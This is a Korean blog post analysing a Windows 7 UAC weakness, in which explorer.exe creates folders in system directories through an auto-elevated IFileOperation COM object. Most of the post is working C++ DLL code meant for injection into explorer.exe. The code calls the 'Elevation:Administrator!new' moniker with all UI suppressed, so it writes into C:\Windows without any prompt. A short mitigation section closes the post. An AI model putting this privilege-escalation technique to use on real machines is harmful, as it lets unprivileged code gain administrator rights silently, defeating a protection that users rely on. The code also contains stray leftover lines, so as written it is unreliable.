Merry Christmas

 

출처 : http://wiredlayer.tistory.com/29

 

 

주의 : 로그온 된 계정은 Windows 7을 설치 시 생성한 기본 로그인 계정으로 로그인되어 있습니다. 검색해보면 이미 2009년도에 관련 이슈사항이 있었습니다.

Windows 7에서 탐색기 메뉴 중 다음과 같은 메뉴가 있습니다.



새 폴더를 만드는 기능인데 C:\Windows 디렉토리나 C:\Program Files 에 만들어도 UAC 관련 권한창이 뜨지 않습니다.

explorer.exe에서는 권한이 없는데도 불구하고 시스템 디렉토리를 마구 휘졌고 다니는데 이것이 가능한 이유를 한 번 알아보도록 하겠습니다.

explorer.exe에서 새 폴더를 만드는 메뉴를 클릭했을 때 발생되는 일련의 파일 이벤트를 보도록 하겠습니다.

처음에 새 폴더를 생성할려고 시도하였으나 당연히 권한이 없기 때문에 다음과 같은 접근거부 에러를 explorer.exe에서 받게 됩니다.




조금만 더 살펴보면 실제로 디렉토리를 생성하는 프로세스는 Explorer.exe가 아니라 DllHost.exe 라는 프로세스가 생성하는 것을 볼 수 있습니다. 이 때 DllHost.exe는 당연히 관리자 권한입니다.




여기서 주목해야 하는 부분은 DllHost.exe가 새 폴더를 생성한다는 것입니다. 다른 프로세스도 아니고 DllHost.exe가 이러한 작업을 하였다라는 것은 COM을 이용한 권한 상승일것이라고 추측을 할 수 있습니다. Vista 초창기에 UAC가 처음 도입되면서 새로운 프로세스를 생성하는 경우뿐 아니라 COM을 사용하기 위해 해당 COM 인터페이스에 대해 관리자 권한을 요청할 수 있는데 이 때 MS에서 제공하는 함수가 CoCreateInstanceAsAdmin 라는 함수였고 관련 코드들이 DllHost.exe에서 동작한다는 내용이 있었습니다.

CoCreateInstanceAsAdmin 함수는 다음과 같은 구현을 따릅니다.
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)

{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];

StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

위에 코드에서 CoGetObject 함수를 사용한다는 부분과 "Elevation:Administrator!new" 문자열을 볼 수 있습니다. ( 관련 내용은 The COM Elevation Moniker으로 검색해보시면 됩니다. )


다시 돌아가서 실제로 explorer.exe는 다음과 같이 CoGetObject 함수를 새 폴더를 생성 시 호출한다는 것을 볼 수 있었습니다.



Elevation:Administrator!new: 문자열을 통해 관리자 권한으로 COM을 실행할 것을 요청하고 있습니다.
그리고 {3AD05575-8857-4850-9277-11B85BDB8E09}라는 CLSID는 MS SDK에 ShObjIdl.h 파일에 보면 다음과 같이 정의되어 있음을 볼 수 있습니다.

class DECLSPEC_UUID("3ad05575-8857-4850-9277-11b85bdb8e09") FileOperation;

결론적으로 IFileOperation 을 통해서 디렉토리 생성작업을 한다는 것을 볼 수 있습니다.
( IFileOperation 은 Vista 이상에서 제공되는 인터페이스로 SHFileOperation에 확장기능입니다. )

Windows 7 UAC 에서 추가 된 부분 중에 하나는 써드파티 프로그램이 아닌 윈도우즈에서 제공되는 프로그램이 관리자 권한을 요청할 시 UAC 권한상승 창이 뜨지 않는 부분입니다. ( UAC 권한 기본설정으로는 권한상승창이 뜨지 않습니다. )

새 폴더를 만들기 위해서 사용 된 프로세스인 Explorer.exe와 IFileOperation을 제공해주는 Shell32.dll은 둘 다 윈도우즈에서 제공되는 프로그램이기 때문에 UAC 권한상승 창이 뜨지 않고 파일관련 작업을 할 수 있게 되는 것입니다.

만약 다음과 같이 써드파티 프로그램이 IFileOperation을 관리자 권한으로 요청 시 COM 인터페이스는 윈도우즈에서 개발되었지만 써드파티 프로그램은 윈도우즈에서 만든 것이 아니기 때문에 UAC 권한상승창이 뜨게 됩니다.
( CLSID 를 보시면 됩니다. )




하지만 여기서 한 가지 헛점이 있는데 써드파티 프로그램은 동일한 권한을 가진 윈도우즈에서 제공하는 프로세스에 접근을 할 수가 있습니다. 즉, OpenProcess 통한 접근이 가능하며 CreateRemoteThread나 기타 알려진 방법을 통해 Explorer.exe로 코드인젝션이나 DllInjection이 가능하다라는 것입니다.

외부에 써드파티 프로세스에 의해 인젝션 된 코드에 대해서 윈도우즈에서는 이를 식별할 수 없기 때문에 Explorer.exe에서 하는 작업을 똑같이 할 수 있습니다.


여기서는 가장 구현하기 쉬운 DllInjection 통해서 예제를 보여주며, DLL인젝터는 따로 만들거나 인터넷에 관련 툴들이 많이 돌아다니기 때문에 인젝터 부분은 제외해서 설명하겠습니다.

아래 DLL코드를 통해 관리자 권한을 가지지 않은 써드파티 프로그램이 C:\Windows 디렉토리에 "MyTextFile.txt"라는 이름을 가진 파일을 생성합니다. 이 파일은 "HELLO"라는 내용을 가집니다.
( CopyItem 함수는 IFileOperation::CopyItem Method MSDN 문서에서 볼 수 있으며, 관리자 권한을 요청하도록 약간 수정한 것입니다. )

#include <shlobj.h>
#include <comdef.h>
#include <shlwapi.h>
#include <ShellAPI.h>

#include <string>

HRESULT CopyItem(__in PCWSTR pszSrcItem, __in PCWSTR pszDest, PCWSTR pszNewName)
{
//
// Initialize COM as STA.
//
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{

IFileOperation *pfo;
BIND_OPTS3 opts;

memset(&opts, 0, sizeof(BIND_OPTS3));
opts.cbStruct = sizeof(BIND_OPTS3);
opts.hwnd = 0;
opts.dwClassContext = CLSCTX_LOCAL_SERVER;

//
// Create the IFileOperation interface
//
hr = CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}",
&opts, IID_IFileOperation, (void **)&pfo);
NULL,
CLSCTX_ALL,
IID_PPV_ARGS(&pfo));*/
if (SUCCEEDED(hr))
{
//
// Set the operation flags. Turn off all UI from being shown to the
// user during the operation. This includes error, confirmation,
// and progress dialogs.
//
hr = pfo->SetOperationFlags(FOF_NO_UI);
if (SUCCEEDED(hr))
{
//
// Create an IShellItem from the supplied source path.
//
IShellItem *psiFrom = NULL;
hr = SHCreateItemFromParsingName(pszSrcItem,
NULL,
IID_PPV_ARGS(&psiFrom));
if (SUCCEEDED(hr))
{
IShellItem *psiTo = NULL;

if (NULL != pszDest)
{
//
// Create an IShellItem from the supplied
// destination path.
//
hr = SHCreateItemFromParsingName(pszDest,
NULL,
IID_PPV_ARGS(&psiTo));
}

if (SUCCEEDED(hr))
{
//
// Add the operation
//
hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);

if (NULL != psiTo)
{
psiTo->Release();
}
}

psiFrom->Release();
}

if (SUCCEEDED(hr))
{
//
// Perform the operation to copy the file.
//
hr = pfo->PerformOperations();
}
}

//
// Release the IFileOperation interface.
//
pfo->Release();
}
CoUninitialize();
}
return hr;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
TCHAR tmpDir[MAX_PATH];
TCHAR windowsDir[MAX_PATH];
std::wstring filename;

HANDLE hFile;

::GetTempPath(MAX_PATH, tmpDir);

filename = tmpDir;
filename += L"MyTextFile.txt";
hFile = ::CreateFile(filename.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
DWORD dwNotUsed;
::WriteFile(hFile, "HELLO", 5, &dwNotUsed, NULL);

::CloseHandle(INVALID_HANDLE_VALUE);

::GetWindowsDirectory(windowsDir, MAX_PATH);
CopyItem(filename.c_str(), windowsDir, NULL);
}
else
{
::MessageBox(0, L"파일을 생성 할 수 없습니다", 0, 0);
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


해당 코드를 DLL로 컴파일 후 Dll Injection를 통해서 explorer.exe에 인젝션을 하게 되면 다음과 같은 결과를 얻을 수 있습니다.
( Dll Injection는 http://rheech.tistory.com/ 에서 구하였습니다. )






위에 사항들이 발생하지 않도록 할려면 시스템과 관련 된 접근이 발생 시 반드시 UAC 권한상승창이 뜨도록 다음과 같이 수정할 필요가 있습니다.


또는 Administrator 계정을 사용하지 않고 ( 관리자 권한과 관리자 계정은 엄연히 다른 부분입니다. ) 표준 사용자 계정을 사용하여야 합니다. 여기서 말하는 Administrator 계정은 관리자 계정을 의미하며, Administrator라는 이름을 가진 관리자 계정을 의미하지 않습니다. 기본 Windows 7 설치 시 관리자 계정 타입에 계정을 가지게 됩니다.

 

 

 

: